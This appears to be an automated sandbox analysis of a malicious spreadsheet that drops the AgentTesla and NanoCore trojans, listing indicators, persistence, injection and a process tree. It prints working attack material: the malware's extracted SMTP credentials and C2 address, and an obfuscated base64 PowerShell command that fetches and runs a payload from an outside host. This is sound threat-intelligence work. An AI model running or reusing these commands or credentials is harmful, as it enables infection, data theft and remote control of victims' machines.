agenttesla | 17b7d30b0960240b297dc208673fd4d8e9bfe52fc68a24785b83dc4b6702dba5

Analysis

max time kernel
149s
max time network
152s
platform
windows10_x64
resource
win10v20210408
submitted
26-09-2021 19:12

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General

Target

RFQ#903_260921_new_request_10012_products.xls
Size

38KB
MD5

03cf64f6dff8c1467a756d8c2e2fac16
SHA1

c124554906286cdaa48240a394777b1ef6c853fe
SHA256

17b7d30b0960240b297dc208673fd4d8e9bfe52fc68a24785b83dc4b6702dba5
SHA512

4d47bc2367459ad55f2c5a91733d729c045035f0d8ad3fefa7f1ba015d68da957efbafd3dbb25a3033fcb4ac539480cc1c5d8d6e4d8baefe61f68caeca25bbb9

Score

10^/10

agenttesla nanocore agilenet evasion keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
smtp.privateemail.com
Port:
587
Username:
[email protected]
Password:
office12#

Extracted

Family

nanocore

Version

1.2.2.0

185.140.53.52:4488

Mutex

4457cc23-84d1-4515-bdf3-bc83fe8472db

Attributes

activate_away_mode
true
backup_connection_host
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2021-07-08T12:51:02.136438436Z
bypass_user_account_control
false
bypass_user_account_control_data
PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2Ij8+DQo8VGFzayB2ZXJzaW9uPSIxLjIiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmRvd3MvMjAwNC8wMi9taXQvdGFzayI+DQogIDxSZWdpc3RyYXRpb25JbmZvIC8+DQogIDxUcmlnZ2VycyAvPg0KICA8UHJpbmNpcGFscz4NCiAgICA8UHJpbmNpcGFsIGlkPSJBdXRob3IiPg0KICAgICAgPExvZ29uVHlwZT5JbnRlcmFjdGl2ZVRva2VuPC9Mb2dvblR5cGU+DQogICAgICA8UnVuTGV2ZWw+SGlnaGVzdEF2YWlsYWJsZTwvUnVuTGV2ZWw+DQogICAgPC9QcmluY2lwYWw+DQogIDwvUHJpbmNpcGFscz4NCiAgPFNldHRpbmdzPg0KICAgIDxNdWx0aXBsZUluc3RhbmNlc1BvbGljeT5QYXJhbGxlbDwvTXVsdGlwbGVJbnN0YW5jZXNQb2xpY3k+DQogICAgPERpc2FsbG93U3RhcnRJZk9uQmF0dGVyaWVzPmZhbHNlPC9EaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllcz4NCiAgICA8U3RvcElmR29pbmdPbkJhdHRlcmllcz5mYWxzZTwvU3RvcElmR29pbmdPbkJhdHRlcmllcz4NCiAgICA8QWxsb3dIYXJkVGVybWluYXRlPnRydWU8L0FsbG93SGFyZFRlcm1pbmF0ZT4NCiAgICA8U3RhcnRXaGVuQXZhaWxhYmxlPmZhbHNlPC9TdGFydFdoZW5BdmFpbGFibGU+DQogICAgPFJ1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGU+ZmFsc2U8L1J1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGU+DQogICAgPElkbGVTZXR0aW5ncz4NCiAgICAgIDxTdG9wT25JZGxlRW5kPmZhbHNlPC9TdG9wT25JZGxlRW5kPg0KICAgICAgPFJlc3RhcnRPbklkbGU+ZmFsc2U8L1Jlc3RhcnRPbklkbGU+DQogICAgPC9JZGxlU2V0dGluZ3M+DQogICAgPEFsbG93U3RhcnRPbkRlbWFuZD50cnVlPC9BbGxvd1N0YXJ0T25EZW1hbmQ+DQogICAgPEVuYWJsZWQ+dHJ1ZTwvRW5hYmxlZD4NCiAgICA8SGlkZGVuPmZhbHNlPC9IaWRkZW4+DQogICAgPFJ1bk9ubHlJZklkbGU+ZmFsc2U8L1J1bk9ubHlJZklkbGU+DQogICAgPFdha2VUb1J1bj5mYWxzZTwvV2FrZVRvUnVuPg0KICAgIDxFeGVjdXRpb25UaW1lTGltaXQ+UFQwUzwvRXhlY3V0aW9uVGltZUxpbWl0Pg0KICAgIDxQcmlvcml0eT40PC9Qcmlvcml0eT4NCiAgPC9TZXR0aW5ncz4NCiAgPEFjdGlvbnMgQ29udGV4dD0iQXV0aG9yIj4NCiAgICA8RXhlYz4NCiAgICAgIDxDb21tYW5kPiIjRVhFQ1VUQUJMRVBBVEgiPC9Db21tYW5kPg0KICAgICAgPEFyZ3VtZW50cz4kKEFyZzApPC9Bcmd1bWVudHM+DQogICAgPC9FeGVjPg0KICA8L0FjdGlvbnM+DQo8L1Rhc2s+
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
4488
default_group
EXPO
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
4457cc23-84d1-4515-bdf3-bc83fe8472db
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
185.140.53.52
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
false
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	748	636	cmd.exe	EXCEL.EXE

AgentTesla Payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\ammero.exe	family_agenttesla
C:\Users\Admin\AppData\Roaming\ammero.exe	family_agenttesla

Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

expo.exeammero.exeInstallUtil.exe

pid process

4068 expo.exe
3984 ammero.exe
4064 InstallUtil.exe

pid	process
4068	expo.exe
3984	ammero.exe
4064	InstallUtil.exe

Obfuscated with Agile.Net obfuscator 2 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

Processes:

resource	yara_rule
behavioral2/memory/412-434-0x0000000006170000-0x0000000006191000-memory.dmp	agile_net
behavioral2/memory/4068-448-0x0000000005830000-0x0000000005D2E000-memory.dmp	agile_net

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exeInstallUtil.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\expo = "C:\\Users\\Admin\\AppData\\Roaming\\expo.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\UPNP Subsystem = "C:\\Program Files (x86)\\UPNP Subsystem\\upnpss.exe"	InstallUtil.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

InstallUtil.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA InstallUtil.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

expo.exe

description pid process target process

PID 4068 set thread context of 4064 4068 expo.exe InstallUtil.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	InstallUtil.exe

description	pid	process	target process
PID 4068 set thread context of 4064	4068	expo.exe	InstallUtil.exe

Drops file in Program Files directory 2 IoCs

Processes:

InstallUtil.exe

description	ioc	process
File created	C:\Program Files (x86)\UPNP Subsystem\upnpss.exe	InstallUtil.exe
File opened for modification	C:\Program Files (x86)\UPNP Subsystem\upnpss.exe	InstallUtil.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

768 schtasks.exe
1336 schtasks.exe

pid	process
768	schtasks.exe
1336	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

636 EXCEL.EXE

pid	process
636	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 35 IoCs

Processes:

powershell.exeei.exeexpo.exeammero.exeInstallUtil.exe

pid	process
4088	powershell.exe
4088	powershell.exe
4088	powershell.exe
412	ei.exe
412	ei.exe
412	ei.exe
412	ei.exe
412	ei.exe
412	ei.exe
412	ei.exe
412	ei.exe
412	ei.exe
412	ei.exe
412	ei.exe
412	ei.exe
412	ei.exe
412	ei.exe
412	ei.exe
412	ei.exe
412	ei.exe
412	ei.exe
412	ei.exe
4068	expo.exe
4068	expo.exe
3984	ammero.exe
3984	ammero.exe
4064	InstallUtil.exe
4064	InstallUtil.exe
4064	InstallUtil.exe
4064	InstallUtil.exe
4064	InstallUtil.exe
4064	InstallUtil.exe
4064	InstallUtil.exe
4064	InstallUtil.exe
4064	InstallUtil.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

InstallUtil.exe

pid process

4064 InstallUtil.exe

pid	process
4064	InstallUtil.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exeei.exeexpo.exeammero.exeInstallUtil.exe

description	pid	process
Token: SeDebugPrivilege	4088	powershell.exe
Token: SeDebugPrivilege	412	ei.exe
Token: SeDebugPrivilege	4068	expo.exe
Token: SeDebugPrivilege	3984	ammero.exe
Token: SeDebugPrivilege	4064	InstallUtil.exe

Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

EXCEL.EXE

pid process

636 EXCEL.EXE
636 EXCEL.EXE
636 EXCEL.EXE
636 EXCEL.EXE
636 EXCEL.EXE
636 EXCEL.EXE
636 EXCEL.EXE
636 EXCEL.EXE

pid	process
636	EXCEL.EXE
636	EXCEL.EXE
636	EXCEL.EXE
636	EXCEL.EXE
636	EXCEL.EXE
636	EXCEL.EXE
636	EXCEL.EXE
636	EXCEL.EXE

Suspicious use of WriteProcessMemory 33 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exeei.execmd.exeexpo.exeInstallUtil.exe

description	pid	process	target process
PID 636 wrote to memory of 748	636	EXCEL.EXE	cmd.exe
PID 636 wrote to memory of 748	636	EXCEL.EXE	cmd.exe
PID 748 wrote to memory of 4088	748	cmd.exe	powershell.exe
PID 748 wrote to memory of 4088	748	cmd.exe	powershell.exe
PID 4088 wrote to memory of 412	4088	powershell.exe	ei.exe
PID 4088 wrote to memory of 412	4088	powershell.exe	ei.exe
PID 4088 wrote to memory of 412	4088	powershell.exe	ei.exe
PID 412 wrote to memory of 3156	412	ei.exe	cmd.exe
PID 412 wrote to memory of 3156	412	ei.exe	cmd.exe
PID 412 wrote to memory of 3156	412	ei.exe	cmd.exe
PID 3156 wrote to memory of 3760	3156	cmd.exe	reg.exe
PID 3156 wrote to memory of 3760	3156	cmd.exe	reg.exe
PID 3156 wrote to memory of 3760	3156	cmd.exe	reg.exe
PID 412 wrote to memory of 4068	412	ei.exe	expo.exe
PID 412 wrote to memory of 4068	412	ei.exe	expo.exe
PID 412 wrote to memory of 4068	412	ei.exe	expo.exe
PID 4068 wrote to memory of 3984	4068	expo.exe	ammero.exe
PID 4068 wrote to memory of 3984	4068	expo.exe	ammero.exe
PID 4068 wrote to memory of 3984	4068	expo.exe	ammero.exe
PID 4068 wrote to memory of 4064	4068	expo.exe	InstallUtil.exe
PID 4068 wrote to memory of 4064	4068	expo.exe	InstallUtil.exe
PID 4068 wrote to memory of 4064	4068	expo.exe	InstallUtil.exe
PID 4068 wrote to memory of 4064	4068	expo.exe	InstallUtil.exe
PID 4068 wrote to memory of 4064	4068	expo.exe	InstallUtil.exe
PID 4068 wrote to memory of 4064	4068	expo.exe	InstallUtil.exe
PID 4068 wrote to memory of 4064	4068	expo.exe	InstallUtil.exe
PID 4068 wrote to memory of 4064	4068	expo.exe	InstallUtil.exe
PID 4064 wrote to memory of 768	4064	InstallUtil.exe	schtasks.exe
PID 4064 wrote to memory of 768	4064	InstallUtil.exe	schtasks.exe
PID 4064 wrote to memory of 768	4064	InstallUtil.exe	schtasks.exe
PID 4064 wrote to memory of 1336	4064	InstallUtil.exe	schtasks.exe
PID 4064 wrote to memory of 1336	4064	InstallUtil.exe	schtasks.exe
PID 4064 wrote to memory of 1336	4064	InstallUtil.exe	schtasks.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\RFQ#903_260921_new_request_10012_products.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c Po^W^ERS^he^LL -E WwBzAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBlAE4AQwBPAEQAaQBuAGcAXQA6ADoAdQBOAGkAQwBPAEQARQAuAGcAZQBUAFMAVAByAEkATgBHACgAWwBzAHkAUwBUAGUAbQAuAGMAbwBOAHYARQBSAHQAXQA6ADoARgBSAG8AbQBCAGEAUwBFADYANABzAHQAUgBpAE4AZwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcAcwBBAGIAQQBCAHkAQQBHADgAQQBjAGcAQgBwAEEARwBNAEEAWQBnAEIAcgBBAEgAWQBBAFoAZwBCAGgAQQBHAFkAQQBiAEEAQgBoAEEARwA0AEEAZABBAEIAdQBBAEcAbwBBAFoAdwBBAGcAQQBDAGcAQQBJAEEAQQBrAEEASABNAEEAYQB3AEIAMgBBAEcARQBBAGEAUQBCAG0AQQBHADAAQQBlAEEAQgA1AEEASABjAEEAWQB3AEIAMQBBAEMAQQBBAEwAQQBBAGcAQQBDAFEAQQBhAEEAQgByAEEARwBVAEEAYgB3AEIAdwBBAEgAbwBBAGIAQQBCADAAQQBIAFUAQQBiAHcAQgBpAEEASABBAEEAYQBnAEEAZwBBAEMAawBBAEQAUQBBAEsAQQBIAHMAQQBJAEEAQgBKAEEARQAwAEEAVQBBAEIAUABBAEYASQBBAFYAQQBBAHQAQQBFADAAQQBiAHcAQgBrAEEASABVAEEAVABBAEIARgBBAEMAQQBBAFEAZwBCAEoAQQBIAFEAQQBVAHcAQgBVAEEARgBJAEEAUQBRAEIATwBBAEgATQBBAFoAZwBCAGwAQQBGAEkAQQBPAHcAQQBOAEEAQQBvAEEAVQB3AEIAMABBAEUARQBBAGMAZwBCAFUAQQBDADAAQQBRAGcAQgBKAEEARgBRAEEAYwB3AEIAMABBAEgASQBBAFEAUQBCAHUAQQBGAE0AQQBSAGcAQgBGAEEASABJAEEASQBBAEEAdABBAEgATQBBAGIAdwBCAFYAQQBIAEkAQQBZAHcAQgBsAEEAQwBBAEEASgBBAEIAegBBAEcAcwBBAGQAZwBCAGgAQQBHAGsAQQBaAGcAQgB0AEEASABnAEEAZQBRAEIAMwBBAEcATQBBAGQAUQBBAGcAQQBDADAAQQBSAEEAQgBsAEEARgBNAEEAVgBBAEIAcABBAEUANABBAFEAUQBCAFUAQQBFAGsAQQBiAHcAQgBPAEEAQwBBAEEASgBBAEIAbwBBAEcAcwBBAFoAUQBCAHYAQQBIAEEAQQBlAGcAQgBzAEEASABRAEEAZABRAEIAdgBBAEcASQBBAGMAQQBCAHEAQQBEAHMAQQBJAEEAQQBtAEEAQwBBAEEASgBBAEIAbwBBAEcAcwBBAFoAUQBCAHYAQQBIAEEAQQBlAGcAQgBzAEEASABRAEEAZABRAEIAdgBBAEcASQBBAGMAQQBCAHEAQQBEAHMAQQBJAEEAQgA5AEEASABRAEEAYwBnAEIANQBBAEgAcwBBAEoAQQBCADIAQQBIAEUAQQBlAEEAQgAwAEEARwBRAEEAYQBBAEIAbQBBAEcATQBBAFoAQQBCAG8AQQBHAFUAQQBZAGcAQgAxAEEARwBRAEEAWgB3AEEAOQBBAEMAUQBBAFoAUQBCAE8AQQBGAFkAQQBPAGcAQgAwAEEARQBVAEEAYgBRAEIAUQBBAEMAcwBBAEoAdwBCAGMAQQBHAFUAQQBhAFEAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAE8AdwBBAE4AQQBBAG8AQQBhAHcAQgBzAEEASABJAEEAYgB3AEIAeQBBAEcAawBBAFkAdwBCAGkAQQBHAHMAQQBkAGcAQgBtAEEARwBFAEEAWgBnAEIAcwBBAEcARQBBAGIAZwBCADAAQQBHADQAQQBhAGcAQgBuAEEAQwBBAEEASgB3AEIAbwBBAEgAUQBBAGQAQQBCAHcAQQBEAG8AQQBMAHcAQQB2AEEARwBFAEEAYgBnAEIAcgBBAEcARQBBAEwAUQBCADAAQQBHAFUAQQBhAHcAQQB1AEEARwBNAEEAYgB3AEIAdABBAEMANABBAGQAQQBCAHkAQQBDADgAQQBRAFEAQgBWAEEARQBjAEEATAB3AEIAMwBBAEcAVQBBAFoAQQBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAawBBAEgAWQBBAGMAUQBCADQAQQBIAFEAQQBaAEEAQgBvAEEARwBZAEEAWQB3AEIAawBBAEcAZwBBAFoAUQBCAGkAQQBIAFUAQQBaAEEAQgBuAEEARABzAEEARABRAEEASwBBAEcAcwBBAGIAQQBCAHkAQQBHADgAQQBjAGcAQgBwAEEARwBNAEEAWQBnAEIAcgBBAEgAWQBBAFoAZwBCAGgAQQBHAFkAQQBiAEEAQgBoAEEARwA0AEEAZABBAEIAdQBBAEcAbwBBAFoAdwBBAGcAQQBDAGMAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAGgAQQBHADQAQQBhAHcAQgBoAEEAQwAwAEEAZABBAEIAbABBAEcAcwBBAEwAZwBCAGoAQQBHADgAQQBiAFEAQQB1AEEASABRAEEAYwBnAEEAdgBBAEUARQBBAFYAUQBCAEgAQQBDADgAQQBkAHcAQgBsAEEARwBRAEEATABnAEIAbABBAEgAZwBBAFoAUQBBAG4AQQBDAEEAQQBKAEEAQgAyAEEASABFAEEAZQBBAEIAMABBAEcAUQBBAGEAQQBCAG0AQQBHAE0AQQBaAEEAQgBvAEEARwBVAEEAWQBnAEIAMQBBAEcAUQBBAFoAdwBBADcAQQBBADAAQQBDAGcAQgByAEEARwB3AEEAYwBnAEIAdgBBAEgASQBBAGEAUQBCAGoAQQBHAEkAQQBhAHcAQgAyAEEARwBZAEEAWQBRAEIAbQBBAEcAdwBBAFkAUQBCAHUAQQBIAFEAQQBiAGcAQgBxAEEARwBjAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBPAGcAQQB2AEEAQwA4AEEAWQBRAEIAdQBBAEcAcwBBAFkAUQBBAHQAQQBIAFEAQQBaAFEAQgByAEEAQwA0AEEAWQB3AEIAdgBBAEcAMABBAEwAZwBCADAAQQBIAEkAQQBMAHcAQgBCAEEARgBVAEEAUgB3AEEAdgBBAEgAYwBBAFoAUQBCAGsAQQBDADQAQQBaAFEAQgA0AEEARwBVAEEASgB3AEEAZwBBAEMAUQBBAGQAZwBCAHgAQQBIAGcAQQBkAEEAQgBrAEEARwBnAEEAWgBnAEIAagBBAEcAUQBBAGEAQQBCAGwAQQBHAEkAQQBkAFEAQgBrAEEARwBjAEEATwB3AEEATgBBAEEAbwBBAGYAUQBCAGoAQQBHAEUAQQBkAEEAQgBqAEEARwBnAEEAZQB3AEIAOQBBAEEAPQA9ACIAKQApAHwASQBFAFgA
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PoWERSheLL -E WwBzAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBlAE4AQwBPAEQAaQBuAGcAXQA6ADoAdQBOAGkAQwBPAEQARQAuAGcAZQBUAFMAVAByAEkATgBHACgAWwBzAHkAUwBUAGUAbQAuAGMAbwBOAHYARQBSAHQAXQA6ADoARgBSAG8AbQBCAGEAUwBFADYANABzAHQAUgBpAE4AZwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcAcwBBAGIAQQBCAHkAQQBHADgAQQBjAGcAQgBwAEEARwBNAEEAWQBnAEIAcgBBAEgAWQBBAFoAZwBCAGgAQQBHAFkAQQBiAEEAQgBoAEEARwA0AEEAZABBAEIAdQBBAEcAbwBBAFoAdwBBAGcAQQBDAGcAQQBJAEEAQQBrAEEASABNAEEAYQB3AEIAMgBBAEcARQBBAGEAUQBCAG0AQQBHADAAQQBlAEEAQgA1AEEASABjAEEAWQB3AEIAMQBBAEMAQQBBAEwAQQBBAGcAQQBDAFEAQQBhAEEAQgByAEEARwBVAEEAYgB3AEIAdwBBAEgAbwBBAGIAQQBCADAAQQBIAFUAQQBiAHcAQgBpAEEASABBAEEAYQBnAEEAZwBBAEMAawBBAEQAUQBBAEsAQQBIAHMAQQBJAEEAQgBKAEEARQAwAEEAVQBBAEIAUABBAEYASQBBAFYAQQBBAHQAQQBFADAAQQBiAHcAQgBrAEEASABVAEEAVABBAEIARgBBAEMAQQBBAFEAZwBCAEoAQQBIAFEAQQBVAHcAQgBVAEEARgBJAEEAUQBRAEIATwBBAEgATQBBAFoAZwBCAGwAQQBGAEkAQQBPAHcAQQBOAEEAQQBvAEEAVQB3AEIAMABBAEUARQBBAGMAZwBCAFUAQQBDADAAQQBRAGcAQgBKAEEARgBRAEEAYwB3AEIAMABBAEgASQBBAFEAUQBCAHUAQQBGAE0AQQBSAGcAQgBGAEEASABJAEEASQBBAEEAdABBAEgATQBBAGIAdwBCAFYAQQBIAEkAQQBZAHcAQgBsAEEAQwBBAEEASgBBAEIAegBBAEcAcwBBAGQAZwBCAGgAQQBHAGsAQQBaAGcAQgB0AEEASABnAEEAZQBRAEIAMwBBAEcATQBBAGQAUQBBAGcAQQBDADAAQQBSAEEAQgBsAEEARgBNAEEAVgBBAEIAcABBAEUANABBAFEAUQBCAFUAQQBFAGsAQQBiAHcAQgBPAEEAQwBBAEEASgBBAEIAbwBBAEcAcwBBAFoAUQBCAHYAQQBIAEEAQQBlAGcAQgBzAEEASABRAEEAZABRAEIAdgBBAEcASQBBAGMAQQBCAHEAQQBEAHMAQQBJAEEAQQBtAEEAQwBBAEEASgBBAEIAbwBBAEcAcwBBAFoAUQBCAHYAQQBIAEEAQQBlAGcAQgBzAEEASABRAEEAZABRAEIAdgBBAEcASQBBAGMAQQBCAHEAQQBEAHMAQQBJAEEAQgA5AEEASABRAEEAYwBnAEIANQBBAEgAcwBBAEoAQQBCADIAQQBIAEUAQQBlAEEAQgAwAEEARwBRAEEAYQBBAEIAbQBBAEcATQBBAFoAQQBCAG8AQQBHAFUAQQBZAGcAQgAxAEEARwBRAEEAWgB3AEEAOQBBAEMAUQBBAFoAUQBCAE8AQQBGAFkAQQBPAGcAQgAwAEEARQBVAEEAYgBRAEIAUQBBAEMAcwBBAEoAdwBCAGMAQQBHAFUAQQBhAFEAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAE8AdwBBAE4AQQBBAG8AQQBhAHcAQgBzAEEASABJAEEAYgB3AEIAeQBBAEcAawBBAFkAdwBCAGkAQQBHAHMAQQBkAGcAQgBtAEEARwBFAEEAWgBnAEIAcwBBAEcARQBBAGIAZwBCADAAQQBHADQAQQBhAGcAQgBuAEEAQwBBAEEASgB3AEIAbwBBAEgAUQBBAGQAQQBCAHcAQQBEAG8AQQBMAHcAQQB2AEEARwBFAEEAYgBnAEIAcgBBAEcARQBBAEwAUQBCADAAQQBHAFUAQQBhAHcAQQB1AEEARwBNAEEAYgB3AEIAdABBAEMANABBAGQAQQBCAHkAQQBDADgAQQBRAFEAQgBWAEEARQBjAEEATAB3AEIAMwBBAEcAVQBBAFoAQQBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAawBBAEgAWQBBAGMAUQBCADQAQQBIAFEAQQBaAEEAQgBvAEEARwBZAEEAWQB3AEIAawBBAEcAZwBBAFoAUQBCAGkAQQBIAFUAQQBaAEEAQgBuAEEARABzAEEARABRAEEASwBBAEcAcwBBAGIAQQBCAHkAQQBHADgAQQBjAGcAQgBwAEEARwBNAEEAWQBnAEIAcgBBAEgAWQBBAFoAZwBCAGgAQQBHAFkAQQBiAEEAQgBoAEEARwA0AEEAZABBAEIAdQBBAEcAbwBBAFoAdwBBAGcAQQBDAGMAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAGgAQQBHADQAQQBhAHcAQgBoAEEAQwAwAEEAZABBAEIAbABBAEcAcwBBAEwAZwBCAGoAQQBHADgAQQBiAFEAQQB1AEEASABRAEEAYwBnAEEAdgBBAEUARQBBAFYAUQBCAEgAQQBDADgAQQBkAHcAQgBsAEEARwBRAEEATABnAEIAbABBAEgAZwBBAFoAUQBBAG4AQQBDAEEAQQBKAEEAQgAyAEEASABFAEEAZQBBAEIAMABBAEcAUQBBAGEAQQBCAG0AQQBHAE0AQQBaAEEAQgBvAEEARwBVAEEAWQBnAEIAMQBBAEcAUQBBAFoAdwBBADcAQQBBADAAQQBDAGcAQgByAEEARwB3AEEAYwBnAEIAdgBBAEgASQBBAGEAUQBCAGoAQQBHAEkAQQBhAHcAQgAyAEEARwBZAEEAWQBRAEIAbQBBAEcAdwBBAFkAUQBCAHUAQQBIAFEAQQBiAGcAQgBxAEEARwBjAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBPAGcAQQB2AEEAQwA4AEEAWQBRAEIAdQBBAEcAcwBBAFkAUQBBAHQAQQBIAFEAQQBaAFEAQgByAEEAQwA0AEEAWQB3AEIAdgBBAEcAMABBAEwAZwBCADAAQQBIAEkAQQBMAHcAQgBCAEEARgBVAEEAUgB3AEEAdgBBAEgAYwBBAFoAUQBCAGsAQQBDADQAQQBaAFEAQgA0AEEARwBVAEEASgB3AEEAZwBBAEMAUQBBAGQAZwBCAHgAQQBIAGcAQQBkAEEAQgBrAEEARwBnAEEAWgBnAEIAagBBAEcAUQBBAGEAQQBCAGwAQQBHAEkAQQBkAFEAQgBrAEEARwBjAEEATwB3AEEATgBBAEEAbwBBAGYAUQBCAGoAQQBHAEUAQQBkAEEAQgBqAEEARwBnAEEAZQB3AEIAOQBBAEEAPQA9ACIAKQApAHwASQBFAFgA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4088
  - - C:\Users\Admin\AppData\Local\Temp\ei.exe
      "C:\Users\Admin\AppData\Local\Temp\ei.exe"
      4⤵
